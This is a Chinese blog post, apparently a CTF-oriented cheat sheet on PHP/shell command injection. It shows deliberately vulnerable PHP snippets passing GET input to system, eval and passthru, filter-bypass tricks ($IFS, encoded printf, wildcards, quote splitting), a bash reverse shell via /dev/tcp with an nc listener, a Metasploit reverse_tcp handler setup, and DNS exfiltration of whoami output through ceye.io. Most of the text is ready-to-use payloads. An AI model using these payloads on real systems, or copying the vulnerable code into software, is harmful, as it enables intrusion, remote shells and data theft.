标签:简单 bash port mda PHP代码 base64编码 反向 文件 bash命令
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。 执行外部程式。
语法 : string exec(string command, string [array], int [return_var]);
传回值 : 字串
函式种类 : 作业系统与环境
<?php
$a=$_GET[‘a‘];
$output=system($a);
echo $output;
?>
<?php
$a=$_GET[‘a‘];
$output=assert($a);
echo $output;
?>
<?php
$a=$_GET[‘a‘];
$output=eval($a);
echo $output;
?>
<?php
$a=$_GET[‘a‘];
$output=passthru($a);
echo $output;
?>
<?php
$a = $_GET[‘a‘];
echo preg_replace("/test/e", $a, "just test!")
?>
<?php
$file = popen("/bin/ls","r");
pclose($file);
?>
在linux当中,%09(tab)、$IFS$9、 ${IFS}、$IFS
这些都可以当做空格符作为代替。
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令,例如{mv1,文件1,文件2}
a=l;b=s;$a$b
a=fl;b=ag;cat $a$b
$(printf "\154\163") ==>ls $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
ca‘‘t flag 或ca""t flag
1; l\s -l;1
1; l$@s -l;1 · 1; l$*s -l;1 1; l$ns -l;1 //n为任意数字都可以
1>1.txt创建一个空文件,当然任何大于1的数字都可以被用来创建一个空文件。
root@kali:~# echo “a`ifconfig`” 或者 echo “abcd $(pwd) “abridge0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 ether 46:1e:b4:09:b7:c9 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 4 bytes 288 (288.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.114.128 netmask 255.255.255.0 broadcast 192.168.114.255 inet6 fe80::20c:29ff:fe12:e944 prefixlen 64 scopeid 0x20 ether 00:0c:29:12:e9:44 txqueuelen 1000 (Ethernet) RX packets 71893 bytes 25359864 (24.1 MiB) RX errors 1 dropped 0 overruns 0 frame 0 TX packets 4286 bytes 274575 (268.1 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device interrupt 19 base 0x2000 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10 loop txqueuelen 1000 (Local Loopback) RX packets 80 bytes 4136 (4.0 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 80 bytes 4136 (4.0 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0”
利用通配符: 1; cat${IFS}fl* ;1
最简单的:1;cat *;1
1; cat${IFS}fla? ;1
1; cat${IFS}fla[^1] ;1
(1)more:一页一页的显示档案内容 (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页 (3)head:查看头几行 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:以二进制的方式读取档案内容 (8)vi:一种编辑器,这个也可以查看 (9)vim:一种编辑器,这个也可以查看 (10)sort:可以查看 (11)uniq:可以查看 (12)file -f:报错出具体内容
使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入。
>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容。
root@kali:~# ls -t flag root@kali:~# ls -t > a root@kali:~# sh a flag wwww
对于长度有限制
root@kali:~# l> s> > -> l> >q root@kali:~# cat q 总用量 5216 -rw-r--r-- 1 root root 0 5月 4 11:59 1 -rw-r--r-- 1 root root 1319936 2月 27 16:45 1.exe -rw-r--r-- 1 root root 0 1月 29 16:03 1.jpg -rwxr-xr-x 1 root root 62 1月 21 21:47 1.sh
root@kali:~# `echo Y2F0Cg== |base64 -d` testip.txt sss ddd
利用bash命令: 使用nc监听我们的8080端口:nc -l -p 8080 -vvv 把bash命令传过来:bash -i >& /dev/tcp/ip地址/8080 0>&1 关于这个的具体实现原理可以再网上找下,有很多详细的说明。
利用msf也可以,
use exploit/multi/handler set payload linux/armle/shell/reverse_tcp set lport 8080 set lhost ip地址 set exitonsession false exploit -j
root@kali:~# ping `whoami`.******.ceye.io ping: root.******.ceye.io: 未知的名称或服务
标签:简单 bash port mda PHP代码 base64编码 反向 文件 bash命令
原文地址:https://www.cnblogs.com/ophxc/p/12826497.html